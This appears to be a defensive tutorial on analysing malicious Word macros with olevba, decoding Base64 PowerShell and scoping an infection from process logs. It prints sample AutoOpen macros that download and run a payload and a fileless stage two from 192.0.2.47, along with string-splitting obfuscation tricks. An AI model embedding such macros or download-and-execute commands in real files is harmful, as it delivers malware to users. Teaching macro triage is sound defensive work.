In 2022, the Emotet campaign resurrected itself almost entirely through malicious Word documents dropped as email attachments. Analysts who could rip apart a VBA macro in ten minutes caught infections before they called home. Those who couldn’t were left chasing lateral movement logs. This walkthrough gives you the former skill set.
Step 1: Static Analysis with olevba
Before running anything, you want to extract macro code without triggering it. olevba is a Python-based tool from the oletools suite that parses OLE and OOXML files and dumps embedded VBA source code — no Office installation needed.
Assume you’ve received a suspicious file: invoice_oct2026.docm. Run this on your isolated analysis VM:
$ olevba invoice_oct2026.docm
olevba 0.60.1 - https://github.com/decalage2/oletools
...
[*] VBA MACRO ThisDocument.cls
- - - - - - - - - - - - - - - - - - - -
Sub AutoOpen()
Dim strURL As String
Dim strPath As String
strURL = "http://192.0.2.47/update/payload.exe"
strPath = Environ("TEMP") & "\svchost32.exe"
Shell "powershell -w hidden -c (New-Object Net.WebClient).DownloadFile('" & strURL & "','" & strPath & "'); Start-Process '" & strPath & "'"
End Sub
+----------+--------------------+---------------------------------------------+
| Type | Keyword | Description |
+----------+--------------------+---------------------------------------------+
| AutoExec | AutoOpen | Runs macro automatically on document open |
| Suspicious | Shell | May run an executable or a system command |
| Suspicious | powershell | May run PowerShell commands |
| IOC | http://192.0.2.47 | URL (may be used to download malware) |
| IOC | svchost32.exe | Executable file name |
+----------+--------------------+---------------------------------------------+
Three things jump out immediately. First, AutoOpen means this macro fires the moment a user opens the document — no button click required. Second, the Shell call spawns a hidden PowerShell process that downloads a binary from 192.0.2.47 and saves it as svchost32.exe in %TEMP% — a classic name-squatting trick to blend in with legitimate Windows processes. Third, olevba’s IOC table hands you your first network indicator on a silver platter.
Your next move: pivot on that IP and filename. Search your SIEM for any DNS queries, firewall hits, or process creation events matching svchost32.exe across your fleet before you even open a sandbox.
Step 2: Deobfuscating Layered Payloads
Real-world macros rarely look that clean. Attackers obfuscate strings to dodge signature scanners. Here’s a more representative snippet you might actually encounter:
Sub AutoOpen()
Dim a As String
Dim b As String
Dim c As String
a = "pow" & "er" & "she" & "ll"
b = Chr(32) & "-" & Chr(119) & " hidden -enc "
c = "SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAwAC4AMgAuADQANwAvAHMAdABhAGcAZQAyACcAKQA="
Shell a & b & c
End Sub
The string concatenation in a and b splits obvious keywords so simple grep rules miss them. The payload in c is Base64-encoded PowerShell — the -enc flag tells PowerShell to accept a Base64 command directly. Decode it manually in your terminal:
$ echo "SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8Ad\
ABuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAwAC4AMgAuADQANwAvAHMAdABhAGcAZQAy\
ACcAKQA=" | base64 -d | iconv -f utf-16le -t utf-8
IEX (New-Object Net.WebClient).DownloadString('http://192.0.2.47/stage2')
Notice the iconv step — PowerShell’s Base64 encoding uses UTF-16LE, not UTF-8. Forgetting that gives you garbage output. What you’ve now revealed is a fileless second stage: IEX (Invoke-Expression) downloads a script from /stage2 and executes it entirely in memory, leaving no file on disk for AV to scan.
That URL is your second IOC. You now have two C2 paths to block and hunt: 192.0.2.47/update/payload.exe from stage one and 192.0.2.47/stage2 from stage two. Push both to your firewall blocklist and create a detection rule for powershell.exe spawned by winword.exe — that parent-child relationship is almost always malicious.
Step 3: Correlate and Scope the Incident
Static analysis tells you what the macro intends to do. Now you need to know if it already ran somewhere. Pull process creation logs (Event ID 4688 or Sysmon Event ID 1) filtered for your identified binary name:
$ grep -i "svchost32" /opt/siem/exports/process_log_oct19.json | jq '.[] | {host, user, parent, cmdline, timestamp}'
{
"host": "ws-finance-04",
"user": "jmartinez",
"parent": "WINWORD.EXE",
"cmdline": "powershell -w hidden -c (New-Object Net.WebClient)...",
"timestamp": "2026-10-19T08:43:11Z"
}
One hit: workstation ws-finance-04, user jmartinez, 08:43 UTC. The parent process is Word, confirming the macro executed. That machine needs to be isolated immediately. Check for persistence next — run autoruns or query the registry at HKCU\Software\Microsoft\Windows\CurrentVersion\Run on that host before you wipe it.
What To Do Now
Install oletools on your analysis VM right now: pip install oletools. Grab any suspicious Office file from your spam quarantine or use a sample from MalwareBazaar, run olevba against it, and practice reading the IOC table output. Ten minutes of hands-on practice with a real (safely contained) sample will cement this workflow faster than any reading will.
